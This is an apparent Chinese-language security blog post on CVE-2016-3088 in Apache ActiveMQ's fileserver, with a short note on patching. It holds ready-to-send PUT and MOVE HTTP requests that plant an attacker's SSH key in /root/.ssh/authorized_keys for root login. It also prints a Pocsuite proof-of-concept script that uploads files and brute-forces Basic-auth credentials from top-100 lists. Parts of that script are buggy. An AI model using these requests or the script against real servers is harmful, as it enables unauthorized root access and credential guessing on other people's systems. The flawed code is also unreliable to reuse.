該漏洞被髮布在http://cve.scap.org.cn/CVE-2016-3088.html,官方發佈的位置是http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txthtml
按照官方說法影響版本爲python
Apache ActiveMQ 5.0.0 - 5.13.2
按照官網的說法該漏洞是由於開啓了filesever服務,用戶能夠進行任意文件上傳,進而達到任意代碼執行的目的。通過本人對該漏洞的研究發現,漏洞的主要成由於兩步,第一步使用PUT方法上傳文件,第二步使用MOVE方法進行文件移動,這兩步缺了一步都不能實現遠程代碼執行的目的。linux
通過本人對activemq5.0.0,5.10.0,5.10.1,5.11.0,5.11.1,5.11.2windows版本的測試,和5.12.2的linux版本進行測試,發現使用put進行文件上傳通常都可以成功,可是使用move進行文件移動不能移動到web目錄下,大部分能夠移動到系統目錄下,可是也有不肯定性,而且存在有時候須要auth驗證,有時候不須要auth驗證的狀況。所以驗證過程須要修改系統文件不存在無傷驗證的方式,故這裏的驗證只是驗證文件可否上傳,若是能上傳則認爲存在該漏洞。git
驗證使用的http報文爲github
PUT /fileserver/x.txt HTTP/1.1 Host: 127.0.0.1:8161 Content-Length: 2 11
若是須要auth驗證那麼加上auth頭web
Authorization: Basic base64(admin:admin)
這裏須要主要Basic後面的內容須要作base64編碼,內容爲用戶名:密碼apache
由於大部分版本不能MOVE到fileserver的web目錄,因此在利用過程當中通常能夠嘗試爆web服務的操做系統目錄進行文件上傳和更名,在linux系統下能夠直接覆蓋/root/.ssh/authorized_keys文件,將本身的公鑰傳到這個位置進行ssh免密碼登陸,由於大多數版本不能直接MOVE到fileserver的web目錄,因此這個漏洞利用起來須要其餘的信息。下面介紹一下使用ssh免密碼登陸的利用方式。windows
第一步PUT公鑰到fileserver的web目錄服務器
PUT /fileserver/rsa_pub HTTP/1.1 Host: 127.0.0.1:8161 Content-Length: 167 ssh-rsa AAAABsxxxxADAQABAAABAQDxxxxDtwjkzf5YbYOnMvUxxxX1sU/d+WtSxx+6RGeL+qIp2AGJVB6M0qHF+OEWubBIlxxxhMd53tRhnTJFiApj413SBxxxxxxxxxT+mgSnGmjh1y+VOhnOhxxVfqU7/ johnxxx
第二步MOVE公鑰到.ssh/authorized_keys文件中app
MOVE /fileserver/rsa_pub HTTP/1.1 Host: 127.0.0.1:8161 Destination: file:///root/.ssh/authorized_keys
這樣使用本身的ssh客戶端就能夠進行登陸了,生成公鑰的方式自行百度。
按照官網的說法老版本不可以使用fileserver服務,按照個人理解新版本能不用就不用,而且在新版本中沒看到fileserver服務,因此默認是取消了該服務,期待有人可以研究源碼作出更好的補丁。補丁的下手方式可使禁用MOVE方法,或者不容許MOVE方法MOVE到可執行的目錄,和操做系統目錄。
本文貼出使用知道創宇的pocsuite寫出來的POC
#!/usr/bin/python # -*- coding: utf-8 -*- # If you have issues about development, please read: # https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md # https://github.com/knownsec/Pocsuite/blob/master/docs/COPYING from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import urllib2 import random import base64 # custom 301 and 302 redirection, disallow urllib2 perform automatic redirection class RedirctHandler(urllib2.HTTPRedirectHandler): def http_error_301(self, req, fp, code, msg, headers): pass; def http_error_302(self, req, fp, code, msg, headers): pass; def init(): debug_handler = urllib2.HTTPHandler(debuglevel=0) proxy_handler = urllib2.ProxyHandler({}); opener = urllib2.build_opener(debug_handler, RedirctHandler, proxy_handler) urllib2.install_opener(opener); class TestPOC(POCBase): name = 'CVE-2016-3088-activemq-fileserver-put' vulID = '78176' # https://www.seebug.org/vuldb/ssvid-78176 author = ['kongzhen'] vulType = 'file-upload' version = '0.1' # default version: 1.0 references = ['null'] desc = '''The vulnerability is caused miss configuration of activemq fileserver.''' vulDate = '2016-11-10' createDate = '2016-11-10' updateDate = '2016-11-10' appName = 'activemq' appVersion = 'Apache Group ActiveMQ 5.0.0 - 5.13.2' appPowerLink = '' samples = [''] inited = False; def _attack(self): '''attack mode''' return self._verify() def method_put(self, header, url, content): request = urllib2.Request(url); request.get_method = lambda:"PUT"; for key in header.keys(): request.addheader(key, header.get(key)); resp = None; success = False; try: resp = urllib2.urlopen(request, content); if resp.code >= 200 and resp.code < 300: success = True; else: success = False; except urllib2.URLError, e: if hasattr(e, "code") or hasattr(e, "reson"): success = False; finally: if resp: resp.close(); return success; def method_move(self, header, url): request = urllib2.Request(url); request.get_method = lambda:"MOVE"; for key in header.keys(): request.add_header(key, header.get(key)); resp = None; success = False; try: resp = urllib2.urlopen(request, content); if resp.code >= 200 and resp.code < 300: success = True; else: success = False; except urllib2.URLError, e: if hasattr(e, "code") or hasattr(e, "reson"): success = False; finally: if resp: resp.close(); return success; def method_get(self, header, url): request = urllib2.Request(url); for key in header.keys(): request.add_header(key, header.get(key)); resp = None; success = False; content = None; try: resp = urllib2.urlopen(request, content); if resp.code >= 200 and resp.code < 300: success = True; content = resp.read(); else: success = False; except urllib2.URLError, e: if hasattr(e, "code") or hasattr(e, "reson"): success = False; finally: if resp: resp.close(); return {"success":success, "content":content}; def _verify(self): url = self.url + '/fileserver/cve2016-3088test'; content = "cve2016-3088test"; urlmagic = "-magic%s"%(str(random.randint(0, 100))); put_status = self.method_put({}, url+urlmagic, content) ; tmp = self.method_get({}, url+urlmagic) get_status = tmp["success"] and tmp["content"].find(content) != -1; if put_status and get_status: result = {}; result['VerrifyInfo'] = {}; result['VerrifyInfo']['URL'] = self.url return self.parse_output(result); password_file = "pocsuite/data/password-top100.txt"; username_file = "pocsuite/data/username-top100.txt"; fusername = open(username_file); fpassword = open(password_file); authorazation_header = None; valid_user_password = None; for username in fusername.readlines(): for password in fpassword.readline(): username = username.replace("\n", ""); username = username.replace("\r", ""); pasword = password.replace("\n", ""); pasword = password.replace("\r", ""); if self.method_put({"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))}, url+urlmagic, content): authorazation_header = {"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))} valid_user_password = "%s:%s"%(username,password); break; if authorazation_header == None: result = None; return self.parse_output(result); else: tmp = self.method_get(authorazation_header, url+urlmagic); if tmp["success"] and tmp["content"].find(content) != -1: result = {}; result['VerrifyInfo'] = {}; result['VerrifyInfo']['URL'] = self.url result['VerrifyInfo']['Postdata'] = valid_user_password; return self.parse_output(result); #never reached def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register(TestPOC)
該漏洞因爲須要其餘的信息,而且官方的不一樣版本存在不能穩定put和move的狀況,不一樣服務器存在不一樣配置的狀況,因此相對雞肋。可是幾個信息一旦結合危害比較大。